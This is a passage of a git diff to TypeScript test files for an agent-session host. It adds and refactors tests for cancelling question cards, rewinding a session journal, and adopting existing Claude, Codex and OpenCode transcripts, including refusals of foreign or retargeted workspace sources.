cardResolution(card.itemId)).toMatchObject(cancelledHere) + expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(true) + frame(connection, INTERRUPTED_RESULT) + await laneDrained() + + expect(connection.closed).toBe(true) + expect(eventsAtClose()).toBe(1) + expect(await turnOutcome()).toBe('cancellation') + expect(await answered.promise).not.toMatchObject({ behavior: expect.any(String) }) + expect(await cardResolution(card.itemId)).toMatchObject(cancelledHere) + expect(await statusTexts()).toEqual(['Cancellation requested.']) + await send('Carry on.') + await eventually(() => { + const started = fixture.claude.connections.at(-1)! + expect(started).not.toBe(connection) + expect(wrote(started, 'Carry on.')).toBe(true) + }) +}) + +it("declines a question card's Cancel itself when the Stop finds nothing to stop", async () => { + const connection = fixture.claude.connections[0]! + const ended = await openTurn(connection) + frame(connection, { type: 'result', subtype: 'success', is_error: false, uuid: 'result-1' }) + await eventually(async () => + expect( + activeStructuredAgentSessionTurnId((await fixture.host.journalSnapshot(SESSION)).items) + ).toBeNull() + ) + const { answered, card } = await ask(connection, 'AskUserQuestion', BRANCH_QUESTION) + + await expect(cancelCard(ended, card)).resolves.toMatchObject({ ok: true }) + await laneDrained() + + expect(await answered.promise).toMatchObject({ + behavior: 'deny', + message: expect.stringMatching(/dismissed/) + }) + expect(await cardResolution(card.itemId)).toMatchObject({ + state: 'cancelled', + resolvedBy: CALLER.callerKey + }) + expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(false) + expect(connection.closed).toBe(false) + expect(await statusTexts()).toEqual([]) +}) + +it('dismisses a question card a finished turn raised, leaving the turn running now alone', async () => { + const connection = fixture.claude.connections[0]! + const earlier = await openTurn(connection) + const { answered, card } = await ask(connection, 'AskUserQuestion', BRANCH_QUESTION) + frame(connection, { type: 'result', subtype: 'success', is_error: false, uuid: 'result-1' }) + await eventually(async () => + expect( + activeStructuredAgentSessionTurnId((await fixture.host.journalSnapshot(SESSION)).items) + ).toBeNull() + ) + const running = await openTurn(connection, 'Now something else.') + expect(running).not.toBe(earlier) + + await expect(cancelCard(earlier, card)).resolves.toMatchObject({ ok: true }) + await laneDrained() + + expect(await answered.promise).toMatchObject({ behavior: 'deny' }) + expect(await cardResolution(card.itemId)).toMatchObject({ + state: 'cancelled', + resolvedBy: CALLER.callerKey + }) + expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(false) + expect(connection.closed).toBe(false) + expect( + activeStructuredAgentSessionTurnId((await fixture.host.journalSnapshot(SESSION)).items) + ).toBe(running) +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-clear-rewind.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-clear-rewind.test.ts index 94139e11a98..e31ae2e5ea9 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-clear-rewind.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-clear-rewind.test.ts @@ -29,10 +29,10 @@ afterEach(() => rig.dispose()) const journal = () => rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal const db = () => openTestJournalHostDatabase(rig.root).db -const rawPrefix = (sequence: number) => +const canonicalPrefix = (sequence: number) => db() .prepare( - 'SELECT seq, row_json FROM journal_rows WHERE session_id = ? AND epoch = ? AND seq <= ? ORDER BY seq' + 'SELECT seq, field, entry_key, ordinal, value_json, deleted FROM journal_outcomes WHERE generation = (SELECT generation FROM journal_outcome_epochs WHERE session_id = ? AND epoch = ?) AND seq <= ? ORDER BY seq, field, entry_key' ) .all(SESSION, journal().cursor().epoch, sequence) @@ -62,7 +62,7 @@ async function seed() { const prefix = journal() .snapshot() .items.filter((item) => item.sequence <= floor.sequence) - const raw = rawPrefix(floor.sequence) + const raw = canonicalPrefix(floor.sequence) const kept = await send('kept after clear', 'kept') const target = await send('rewound after clear', 'target') const fields = { itemId: target, expectedEpoch: journal().cursor().epoch } @@ -215,7 +215,7 @@ describe('rewind behind a clear boundary', () => { .snapshot() .items.filter((item) => item.sequence <= floor.sequence) ).toEqual(prefix) - expect(rawPrefix(floor.sequence)).toEqual(raw) + expect(canonicalPrefix(floor.sequence)).toEqual(raw) expect( journal() .snapshot() @@ -257,7 +257,7 @@ describe('rewind behind a clear boundary', () => { rig.store.getRecord(SESSION)!.lease.runtimeFence ) expect(journal().snapshot()).toEqual(recovered) - expect(rawPrefix(floor.sequence)).toEqual(raw) + expect(canonicalPrefix(floor.sequence)).toEqual(raw) expect(rewind).toHaveBeenCalledOnce() expect(await rig.host.rewind(CALLER, params)).toMatchObject({ ok: true, replayed: true }) }) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-conversations.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-conversations.ts index 7238f2bf166..493d4f4b997 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-conversations.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-conversations.ts @@ -50,6 +50,9 @@ export class StructuredAgentSessionConversations extends Map< super() } + loadedSessionIds = (): string[] => + [...this].flatMap(([sessionId, { child }]) => (child ? [sessionId] : [])) + override set(sessionId: string, session: StructuredAgentSessionHostSession): this { const { journal } = session if (this.get(sessionId)?.journal === journal) { diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption-budget.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption-budget.test.ts new file mode 100644 index 00000000000..d4cc9d84265 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption-budget.test.ts @@ -0,0 +1,240 @@ +import { mkdir, realpath, writeFile, rm, symlink, readFile } from 'node:fs/promises' +vi.mock('../../ai-vault/session-scanner-opencode-sqlite-worker-spawn', async (original) => { + const query = await import('../transcript-opencode-sqlite-query') + return { + ...(await original()), + readOpenCodeTranscriptPageViaWorker: query.readOpenCodeTranscriptPage, + readOpenCodeTranscriptSignalViaWorker: async (args: { dbPath: string; sessionId: string }) => + query.readOpenCodeTranscriptSignal(args.dbPath, args.sessionId) + } +}) +import { join } from 'node:path' +import { expect, it, vi } from 'vitest' +import { createRestTestRig } from './structured-agent-session-rest-test-rig' +import { + createTestParams, + CREATE_TEST_CALLER as CALLER +} from './structured-agent-session-create-test-fixture' +import { + HOST_TEST_SESSION as SESSION, + HOST_TEST_THREAD as THREAD +} from './structured-agent-session-host-test-data' +import { claudeProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { adoptedDirectoryProbes } from '../agent-session-journal/adopted-directory-probe' +import { writeOpenCodeSqliteDatabase } from '../../ai-vault/session-scanner-opencode-sqlite-fixture' +import { structuredAgentRuntimeRegistration } from '../../runtime/structured-agent-runtime-registrations' +import { structuredAgentsDeclaringNothing } from './structured-agent-session-adapter-router-test-support' +import { resolveAgentSessionLaunchDirectory } from '../../runtime/agent-session-launch-directory' +import { createClaudeStructuredLaunchResolver } from '../../runtime/structured-agent-launch-composition.test-support' + +import { fixture } from './structured-agent-session-create-adoption-contract-test-fixture' + +it.each([100, 1000])( + 'imports %s source rows into a linked workspace with one fresh probe and zero replay work', + async (size) => { + const physical = await realpath(fixture.rig.root) + const registered = join(fixture.rig.root, 'registered') + await symlink(physical, registered, process.platform === 'win32' ? 'junction' : 'dir') + const transcriptPath = join(fixture.rig.root, `${THREAD}.jsonl`) + // Captured CLI transcript metadata; relocate fixture identity/cwd into the isolated host. + const captured = ( + await readFile( + join(__dirname, '..', '__fixtures__', 'openclaude-0.31.0-local-command-rows.jsonl'), + 'utf8' + ) + ) + .split('\n') + .filter(Boolean) + .map((line) => JSON.parse(line)) + .find((row) => row.type === 'user' && !row.isMeta) + expect(captured.cwd).toBe('/tmp/project') + await writeFile( + transcriptPath, + `${Array.from({ length: size }, (_, index) => + JSON.stringify({ + ...captured, + uuid: `original-${index}`, + sessionId: THREAD, + cwd: physical, + message: { role: 'user', content: 'original physical-keyed context' } + }) + ).join('\n')}\n` + ) + const params = createTestParams(undefined, { + agent: 'claude', + provider: 'claude', + accountHome: { variable: 'CLAUDE_CONFIG_DIR', path: fixture.rig.root }, + adopt: { + providerHandle: claudeProviderHandle(THREAD, null), + transcriptPath, + source: { providerSessionId: THREAD, workspaceCwd: registered } + } + }) + const probe = vi.spyOn(adoptedDirectoryProbes, 'matches') + const publishTab = vi.fn(async () => { + expect(fixture.rig.store.getRecord(SESSION)?.providerHandleChain[0].handle.nativeId).toBe( + THREAD + ) + }) + const result = await fixture.rig.host.create(CALLER, params, { publishTab }) + expect(result).toMatchObject({ + ok: true, + value: { + page: { + items: expect.arrayContaining([ + expect.objectContaining({ + body: expect.objectContaining({ + blocks: [{ type: 'text', text: 'original physical-keyed context' }] + }) + }) + ]) + } + } + }) + expect(publishTab).toHaveBeenCalledOnce() + expect(fixture.rig.store.getRecord(SESSION)?.accountHome).toEqual(params.accountHome) + expect(params.adopt?.source?.workspaceCwd).toBe(registered) + const record = fixture.rig.store.getRecord(SESSION)! + expect( + await resolveAgentSessionLaunchDirectory( + { store: fixture.rig.store, resolveWorkspacePath: async () => registered }, + record + ) + ).toBe(registered) + expect(record.providerHandleChain[0].handle.nativeId).toBe(THREAD) + const hasTranscript = vi.fn( + async ({ + providerSessionId, + claudeConfigDir + }: { + providerSessionId: string + claudeConfigDir: string + }) => + providerSessionId === THREAD && + claudeConfigDir === fixture.rig.root && + (await readFile(transcriptPath, 'utf8')).includes(THREAD) + ) + const launch = await createClaudeStructuredLaunchResolver({ + store: fixture.rig.store, + resolveWorkspacePath: async () => registered, + resolveCommand: () => ({ command: process.execPath, prefixArgs: [] }), + resolveInheritedEnv: async () => ({}), + resolveAuthPolicy: () => ({ account: 'system' }), + resolveLaunchArgs: () => [], + hasTranscript + })({ + identity: { + sessionId: SESSION, + workspaceId: record.location.workspaceId, + hostId: 'local', + agent: 'claude', + providerHandle: record.providerHandleChain[0].handle + } + }) + expect(launch).toMatchObject({ + cwd: registered, + providerSessionId: THREAD, + claudeConfigDir: fixture.rig.root, + options: { resume: THREAD } + }) + expect(hasTranscript).toHaveBeenCalledWith({ + providerSessionId: THREAD, + claudeConfigDir: fixture.rig.root + }) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() + expect(probe).toHaveBeenCalledOnce() + await fixture.rig.host.flushAllStreamedEvents() + await fixture.rig.restart() + await rm(transcriptPath) + expect(await fixture.rig.host.create(CALLER, params)).toMatchObject({ + ok: true, + replayed: true + }) + expect(probe).toHaveBeenCalledOnce() + } +) + +it('uses current selected ancestors, then refuses retargeted/foreign sources before ownership', async () => { + const physical = join(await realpath(fixture.rig.root), 'physical') + const moved = join(await realpath(fixture.rig.root), 'moved') + const registered = join(fixture.rig.root, 'registered') + await mkdir(physical) + await mkdir(moved) + await symlink(physical, registered, process.platform === 'win32' ? 'junction' : 'dir') + await symlink(moved, join(physical, 'pkg'), process.platform === 'win32' ? 'junction' : 'dir') + const sourceCwd = join(physical, 'pkg') + const workspaceCwd = join(registered, 'pkg') + expect(await realpath(workspaceCwd)).toBe(moved) + const transcriptPath = join(fixture.rig.root, `${THREAD}.jsonl`) + const save = async (sessionId: string, cwd: string) => + writeFile( + transcriptPath, + `${JSON.stringify({ + type: 'user', + uuid: 'original', + sessionId, + cwd, + message: { role: 'user', content: 'ancestor context' } + })}\n` + ) + const params = createTestParams(undefined, { + agent: 'claude', + provider: 'claude', + accountHome: { variable: 'CLAUDE_CONFIG_DIR', path: fixture.rig.root }, + adopt: { + providerHandle: claudeProviderHandle(THREAD, null), + transcriptPath, + source: { providerSessionId: THREAD, workspaceCwd } + } + }) + const probe = vi.spyOn(adoptedDirectoryProbes, 'matches') + await save('wrong-provider', sourceCwd) + expect(await fixture.rig.host.create(CALLER, params)).toMatchObject({ ok: false }) + expect(probe).not.toHaveBeenCalled() + await save(THREAD, join(fixture.rig.root, 'foreign')) + expect(await fixture.rig.host.create(CALLER, params)).toMatchObject({ ok: false }) + expect(fixture.rig.store.listRecords()).toEqual([]) + await save(THREAD, sourceCwd) + await rm(registered) + await symlink(moved, registered, process.platform === 'win32' ? 'junction' : 'dir') + expect(await fixture.rig.host.create(CALLER, params)).toMatchObject({ ok: false }) + expect(fixture.rig.store.listRecords()).toEqual([]) + await rm(registered) + await symlink(physical, registered, process.platform === 'win32' ? 'junction' : 'dir') + expect(await fixture.rig.host.create(CALLER, params)).toMatchObject({ ok: true }) + expect(probe).toHaveBeenLastCalledWith(workspaceCwd, sourceCwd, expect.any(AbortSignal)) + expect(await fixture.rig.host.create(CALLER, params)).toMatchObject({ ok: true, replayed: true }) +}) + +it.each(['opencode', 'opencode2'] as const)( + 'commits %s actual database history using the same linked-cwd admission', + async (agent) => { + const definition = structuredAgentRuntimeRegistration(agent)!.definition + await fixture.rig.dispose() + fixture.rig = await createRestTestRig({ + agents: structuredAgentsDeclaringNothing([definition]) + }) + const physical = await realpath(fixture.rig.root) + const registered = join(fixture.rig.root, 'registered') + await symlink(physical, registered, process.platform === 'win32' ? 'junction' : 'dir') + const transcriptPath = join(fixture.rig.root, 'opencode.db') + writeOpenCodeSqliteDatabase(transcriptPath, [ + { id: THREAD, directory: physical, turns: [{ role: 'user', parts: ['database context'] }] } + ]) + const params = createTestParams(undefined, { + agent, + provider: agent, + accountHome: { kind: 'opencode', locator: { kind: 'unmanaged' } }, + adopt: { + providerHandle: { agent, transport: definition.handleTransport, nativeId: THREAD }, + transcriptPath, + source: { providerSessionId: THREAD, workspaceCwd: registered } + } + }) + expect(await fixture.rig.host.create(CALLER, params)).toMatchObject({ ok: true }) + expect(fixture.rig.store.getRecord(SESSION)?.providerHandleChain[0].handle.nativeId).toBe( + THREAD + ) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() + } +) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption-contract-test-fixture.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption-contract-test-fixture.ts new file mode 100644 index 00000000000..d6c51fbe858 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption-contract-test-fixture.ts @@ -0,0 +1,73 @@ +import { writeFile } from 'node:fs/promises' +vi.mock('../../ai-vault/session-scanner-opencode-sqlite-worker-spawn', async (original) => { + const query = await import('../transcript-opencode-sqlite-query') + return { + ...(await original()), + readOpenCodeTranscriptPageViaWorker: query.readOpenCodeTranscriptPage, + readOpenCodeTranscriptSignalViaWorker: async (args: { dbPath: string; sessionId: string }) => + query.readOpenCodeTranscriptSignal(args.dbPath, args.sessionId) + } +}) +import { join } from 'node:path' +import { afterEach, beforeEach, vi } from 'vitest' +import { createRestTestRig, type RestTestRig } from './structured-agent-session-rest-test-rig' +import { createTestParams } from './structured-agent-session-create-test-fixture' +import { + HOST_TEST_THREAD as THREAD, + hostTestOperationId +} from './structured-agent-session-host-test-data' +import type { AgentSessionAttachParams } from './structured-agent-session-attach' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' + +let rig: RestTestRig + +beforeEach(async () => { + rig = await createRestTestRig({ idleSweep: { intervalMs: 60_000 } }) +}) + +afterEach(async () => { + await rig.dispose() + vi.restoreAllMocks() + vi.unstubAllEnvs() +}) + +export async function adoptedParams(history = 'adopted history', threadId = THREAD) { + const transcriptPath = join(rig.root, 'rollout.jsonl') + await writeFile( + transcriptPath, + [ + JSON.stringify({ + type: 'session_meta', + payload: { id: threadId, timestamp: '2026-09-06T18:00:00.000Z', cwd: rig.root } + }), + JSON.stringify({ + type: 'response_item', + timestamp: '2026-09-06T18:00:01.000Z', + payload: { type: 'message', role: 'user', content: history } + }) + ].join('\n') + ) + return createTestParams(undefined, { + adopt: { providerHandle: codexProviderHandle(threadId), transcriptPath } + }) +} + +export function anotherSession(params: AgentSessionAttachParams): AgentSessionAttachParams { + return createTestParams(undefined, { + ...params, + envelope: { + ...params.envelope, + sessionId: 'session-second', + clientOperationId: hostTestOperationId() + } + }) +} + +export const fixture = { + get rig() { + return rig + }, + set rig(value: typeof rig) { + rig = value + } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption-restart.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption-restart.test.ts new file mode 100644 index 00000000000..13cb15d897c --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption-restart.test.ts @@ -0,0 +1,236 @@ +import { writeFile, rm } from 'node:fs/promises' +vi.mock('../../ai-vault/session-scanner-opencode-sqlite-worker-spawn', async (original) => { + const query = await import('../transcript-opencode-sqlite-query') + return { + ...(await original()), + readOpenCodeTranscriptPageViaWorker: query.readOpenCodeTranscriptPage, + readOpenCodeTranscriptSignalViaWorker: async (args: { dbPath: string; sessionId: string }) => + query.readOpenCodeTranscriptSignal(args.dbPath, args.sessionId) + } +}) +import { join } from 'node:path' +import { expect, it, vi } from 'vitest' +import { restTestSend } from './structured-agent-session-rest-test-rig' +import { + createTestParams, + stopCreatedChat, + CREATE_TEST_CALLER as CALLER +} from './structured-agent-session-create-test-fixture' +import { + HOST_TEST_SESSION as SESSION, + HOST_TEST_THREAD as THREAD, + hostTestOperationId, + hostTestMessage +} from './structured-agent-session-host-test-data' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/constants' +import { openTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' + +import { + fixture, + adoptedParams, + anotherSession +} from './structured-agent-session-create-adoption-contract-test-fixture' + +it('imports adoption at rest and resumes its original provider identity after its source disappears', async () => { + const params = await adoptedParams() + expect(await fixture.rig.host.create(CALLER, params)).toMatchObject({ + ok: true, + value: { + page: { + items: expect.arrayContaining([ + expect.objectContaining({ + body: expect.objectContaining({ blocks: [{ type: 'text', text: 'adopted history' }] }) + }) + ]) + } + } + }) + expect(fixture.rig.store.getRecord(SESSION)?.providerHandleChain).toMatchObject([ + { origin: 'adopted', mintedAtFence: 1, handle: { nativeId: THREAD } } + ]) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() + await rm(join(fixture.rig.root, 'rollout.jsonl')) + expect( + await fixture.rig.host.create(CALLER, { + ...params, + accountHome: { variable: 'CODEX_HOME', path: '/drifted/account' }, + adopt: { providerHandle: codexProviderHandle(THREAD) } + }) + ).toMatchObject({ ok: true, replayed: true }) + expect(await fixture.rig.host.send(CALLER, restTestSend('new work'))).toMatchObject({ ok: true }) + await vi.waitFor(() => expect(fixture.rig.adapter.dispatch).toHaveBeenCalledOnce()) + expect(fixture.rig.adapter.acquire).toHaveBeenCalledWith( + expect.objectContaining({ + identity: expect.objectContaining({ + providerHandle: expect.objectContaining({ nativeId: THREAD }) + }) + }) + ) + expect(fixture.rig.store.getRecord(SESSION)?.accountHome).toEqual(params.accountHome) +}) + +it('refuses concurrent adoption of a provider conversation by another session', async () => { + const params = await adoptedParams() + const results = await Promise.all([ + fixture.rig.host.create(CALLER, params), + fixture.rig.host.create(CALLER, anotherSession(params)) + ]) + expect(results.filter((result) => result.ok)).toHaveLength(1) + expect(results.filter((result) => !result.ok)).toMatchObject([ + { + refusal: { + code: 'agent_session_conflict', + details: { + reason: 'conversationHeldElsewhere', + owner: { sessionId: expect.any(String), workspaceId: params.location.workspaceId } + }, + createAttemptRefusedBeforeCommit: true + } + } + ]) + expect(fixture.rig.store.listRecords()).toHaveLength(1) + expect(fixture.rig.store.listOperationRows()).toHaveLength(1) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() +}) + +it('refuses concurrent founding under a tab another chat already owns', async () => { + const params = createTestParams(undefined, { surfaceTabId: 'reserved-chat-tab' }) + const results = await Promise.all([ + fixture.rig.host.create(CALLER, params), + fixture.rig.host.create(CALLER, anotherSession(params)) + ]) + expect(results.filter((result) => result.ok)).toHaveLength(1) + expect(results.filter((result) => !result.ok)).toMatchObject([ + { refusal: { code: 'agent_session_conflict', details: { reason: 'tabIdTaken' } } } + ]) + expect(fixture.rig.store.listVisibleSessionIds()).toHaveLength(1) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() +}) + +it.each(['missing', 'empty', 'malformed'] as const)( + 'refuses %s history before founding anything', + async (source) => { + const params = await adoptedParams() + await (source === 'missing' + ? rm(join(fixture.rig.root, 'rollout.jsonl')) + : writeFile( + join(fixture.rig.root, 'rollout.jsonl'), + source === 'empty' ? '' : '{broken json}\n' + )) + expect(await fixture.rig.host.create(CALLER, params)).toMatchObject({ + ok: false, + refusal: { + code: 'agent_session_identity_required', + details: { reason: source === 'empty' ? 'transcriptNotFound' : 'transcriptUnreadable' }, + createAttemptRefusedBeforeCommit: true + } + }) + expect(fixture.rig.store.listRecords()).toEqual([]) + expect(fixture.rig.store.listOperationRows()).toEqual([]) + } +) + +it('does not found a record whose account namespace its agent cannot drive', async () => { + const params = createTestParams(undefined, { + accountHome: { variable: 'CLAUDE_CONFIG_DIR', path: '/wrong/account' } + }) + expect(await fixture.rig.host.create(CALLER, params)).toMatchObject({ + ok: false, + refusal: { code: 'structured_agent_session_unsupported' } + }) + expect(fixture.rig.store.listRecords()).toEqual([]) + expect(fixture.rig.store.listOperationRows()).toEqual([]) +}) + +it.each([ + { executionHostId: 'local', wslDistro: null }, + { executionHostId: 'ssh:host-1', wslDistro: null }, + { executionHostId: 'local', wslDistro: 'Ubuntu' }, + { executionHostId: 'runtime:paired-host', wslDistro: null } +] as const)( + 'preserves folder execution identity at rest: $executionHostId $wslDistro', + async (location) => { + const params = createTestParams(undefined, { + location: { ...location, workspaceId: 'folder-1', workspaceKind: 'folder' } + }) + expect(await fixture.rig.host.create(CALLER, params)).toMatchObject({ ok: true }) + expect(fixture.rig.store.getRecord(SESSION)?.location).toEqual(params.location) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() + } +) + +it('pins the host-resolved directory of a floating chat before any acquire', async () => { + const params = createTestParams(undefined, { + location: { + executionHostId: 'local', + wslDistro: null, + workspaceId: FLOATING_TERMINAL_WORKTREE_ID, + workspaceKind: 'folder' + } + }) + expect( + await fixture.rig.host.create(CALLER, params, { hostLaunchDirectory: fixture.rig.root }) + ).toMatchObject({ + ok: true + }) + expect(fixture.rig.store.getRecord(SESSION)?.launchDirectory).toBe(fixture.rig.root) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() +}) + +it.each(['adopted', 'blank'] as const)( + 'retries a rolled-back create with only the new %s history', + async (nextSource) => { + const first = { clientMessageId: hostTestOperationId(), body: hostTestMessage('first attempt') } + const adopted = await adoptedParams('old imported history') + const db = openTestJournalHostDatabase(fixture.rig.root).db + db.exec( + `CREATE TRIGGER refuse_first BEFORE INSERT ON journal_outcomes WHEN NEW.field = 'submissions' BEGIN SELECT RAISE(ABORT, 'simulated first write failure'); END` + ) + expect( + await fixture.rig.host.create(CALLER, createTestParams(first, adopted), { + firstMessage: first + }) + ).toMatchObject({ ok: false }) + expect(fixture.rig.store.getRecord(SESSION)).toBeNull() + expect(fixture.rig.store.listOperationRows()).toEqual([]) + db.exec('DROP TRIGGER refuse_first') + const next = { clientMessageId: hostTestOperationId(), body: hostTestMessage('next attempt') } + const nextParams = + nextSource === 'adopted' + ? await adoptedParams('new imported history', '019fd532-7c11-7a90-b6de-4e1a2c3d5f61') + : createTestParams() + let stopping: ReturnType | undefined + const result = await fixture.rig.host.create( + CALLER, + createTestParams(next, { + ...nextParams, + envelope: { ...nextParams.envelope, clientOperationId: hostTestOperationId() } + }), + { + firstMessage: next, + publishTab: async () => { + stopping = stopCreatedChat(fixture.rig.host) + } + } + ) + expect(result).toMatchObject({ ok: true }) + if (!result.ok) { + throw new Error('retry create failed') + } + const history = (text: string) => + expect.objectContaining({ + body: expect.objectContaining({ blocks: [{ type: 'text', text }] }) + }) + expect(result.value.page.items).not.toEqual( + expect.arrayContaining([history('old imported history')]) + ) + if (nextSource === 'adopted') { + expect(result.value.page.items).toEqual( + expect.arrayContaining([history('new imported history')]) + ) + } + expect(await stopping).toMatchObject({ ok: true }) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() + } +) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption.test.ts index bc074176eac..e3b6bb3ca94 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption.test.ts @@ -1,36 +1,4 @@ -import { mkdir, realpath, rename, writeFile, rm, symlink, readFile } from 'node:fs/promises' -import { join } from 'node:path' -import { afterEach, beforeEach, expect, it, vi } from 'vitest' -import { - createRestTestRig, - restTestSend, - type RestTestRig -} from './structured-agent-session-rest-test-rig' -import { - createTestParams, - stopCreatedChat, - CREATE_TEST_CALLER as CALLER -} from './structured-agent-session-create-test-fixture' -import { - HOST_TEST_SESSION as SESSION, - HOST_TEST_THREAD as THREAD, - hostTestOperationId, - hostTestMessage -} from './structured-agent-session-host-test-data' -import type { AgentSessionAttachParams } from './structured-agent-session-attach' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/constants' -import { openTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' -import { - claudeProviderHandle, - codexProviderHandle -} from '../../../shared/agent-session-provider-handle-encoding' -import { adoptedDirectoryProbes } from '../agent-session-journal/adopted-directory-probe' -import { writeOpenCodeSqliteDatabase } from '../../ai-vault/session-scanner-opencode-sqlite-fixture' -import { structuredAgentRuntimeRegistration } from '../../runtime/structured-agent-runtime-registrations' -import { structuredAgentsDeclaringNothing } from './structured-agent-session-adapter-router-test-support' -import { resolveAgentSessionLaunchDirectory } from '../../runtime/agent-session-launch-directory' -import { createClaudeStructuredLaunchResolver } from '../../runtime/structured-agent-launch-composition.test-support' - +import { mkdir, realpath, rename, writeFile } from 'node:fs/promises' vi.mock('../../ai-vault/session-scanner-opencode-sqlite-worker-spawn', async (original) => { const query = await import('../transcript-opencode-sqlite-query') return { @@ -40,7 +8,16 @@ vi.mock('../../ai-vault/session-scanner-opencode-sqlite-worker-spawn', async (or query.readOpenCodeTranscriptSignal(args.dbPath, args.sessionId) } }) - +import { join } from 'node:path' +import { expect, it, vi } from 'vitest' +import { + createTestParams, + CREATE_TEST_CALLER as CALLER +} from './structured-agent-session-create-test-fixture' +import { + HOST_TEST_SESSION as SESSION, + HOST_TEST_THREAD as THREAD +} from './structured-agent-session-host-test-data' import { codexLegacyMirrorRecords, writeCodexHistoryFixture @@ -52,47 +29,7 @@ import { } from '../../runtime/structured-agent-session-create-adoption' import { prepareCodexAiVaultSessionResume } from '../../codex/codex-ai-vault-session-resume' -let rig: RestTestRig -beforeEach(async () => { - rig = await createRestTestRig({ idleSweep: { intervalMs: 60_000 } }) -}) -afterEach(async () => { - await rig.dispose() - vi.restoreAllMocks() - vi.unstubAllEnvs() -}) - -async function adoptedParams(history = 'adopted history', threadId = THREAD) { - const transcriptPath = join(rig.root, 'rollout.jsonl') - await writeFile( - transcriptPath, - [ - JSON.stringify({ - type: 'session_meta', - payload: { id: threadId, timestamp: '2026-09-06T18:00:00.000Z', cwd: rig.root } - }), - JSON.stringify({ - type: 'response_item', - timestamp: '2026-09-06T18:00:01.000Z', - payload: { type: 'message', role: 'user', content: history } - }) - ].join('\n') - ) - return createTestParams(undefined, { - adopt: { providerHandle: codexProviderHandle(threadId), transcriptPath } - }) -} - -function anotherSession(params: AgentSessionAttachParams): AgentSessionAttachParams { - return createTestParams(undefined, { - ...params, - envelope: { - ...params.envelope, - sessionId: 'session-second', - clientOperationId: hostTestOperationId() - } - }) -} +import { fixture } from './structured-agent-session-create-adoption-contract-test-fixture' it.each([ ['matching', THREAD], @@ -101,8 +38,8 @@ it.each([ ] as const)( 'resolves a selected-account rollout with %s metadata before at-rest publication', async (_kind, metadataId) => { - vi.stubEnv('ORCA_USER_DATA_PATH', join(rig.root, 'host-data')) - const accountHome = { variable: 'CODEX_HOME', path: join(rig.root, 'selected-account') } + vi.stubEnv('ORCA_USER_DATA_PATH', join(fixture.rig.root, 'host-data')) + const accountHome = { variable: 'CODEX_HOME', path: join(fixture.rig.root, 'selected-account') } const sessions = join(accountHome.path, 'sessions') await mkdir(sessions, { recursive: true }) const rollout = await writeCodexHistoryFixture( @@ -116,7 +53,7 @@ it.each([ await writeFile( rollout.filePath, [ - { type: 'session_meta', payload: { id: THREAD, cwd: rig.root } }, + { type: 'session_meta', payload: { id: THREAD, cwd: fixture.rig.root } }, ...codexLegacyMirrorRecords() ] .map((record) => JSON.stringify(record)) @@ -138,11 +75,11 @@ it.each([ providerSessionId: THREAD, selectedAccountHome: accountHome, launchEnv: {}, - workspaceCwd: rig.root, + workspaceCwd: fixture.rig.root, prepareCodexResume: (args) => prepareCodexAiVaultSessionResume(args, { runtimeHome: null, - systemCodexHomePath: join(rig.root, 'system-account'), + systemCodexHomePath: join(fixture.rig.root, 'system-account'), preparePinnedLaunchHome: async () => { throw new Error('At-rest adoption must not ready a fork launch') } @@ -152,7 +89,7 @@ it.each([ expect(adoption.transcriptPath).toBe( await realpath(join(sessions, `rollout-2026-10-27T00-00-00-${THREAD}.jsonl`)) ) - const result = await rig.host.create( + const result = await fixture.rig.host.create( CALLER, createTestParams(undefined, { accountHome: adoption.accountHome, @@ -166,12 +103,12 @@ it.each([ }) ?? undefined, transcriptPath: adoption.transcriptPath, providerSessionId: THREAD, - workspaceCwd: rig.root + workspaceCwd: fixture.rig.root }) }) ) - expect(rig.adapter.acquire).not.toHaveBeenCalled() - expect(rig.adapter.dispatch).not.toHaveBeenCalled() + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() + expect(fixture.rig.adapter.dispatch).not.toHaveBeenCalled() if (metadataId !== THREAD) { expect(result).toMatchObject({ ok: false, @@ -181,16 +118,16 @@ it.each([ createAttemptRefusedBeforeCommit: true } }) - expect(rig.store.listRecords()).toEqual([]) - 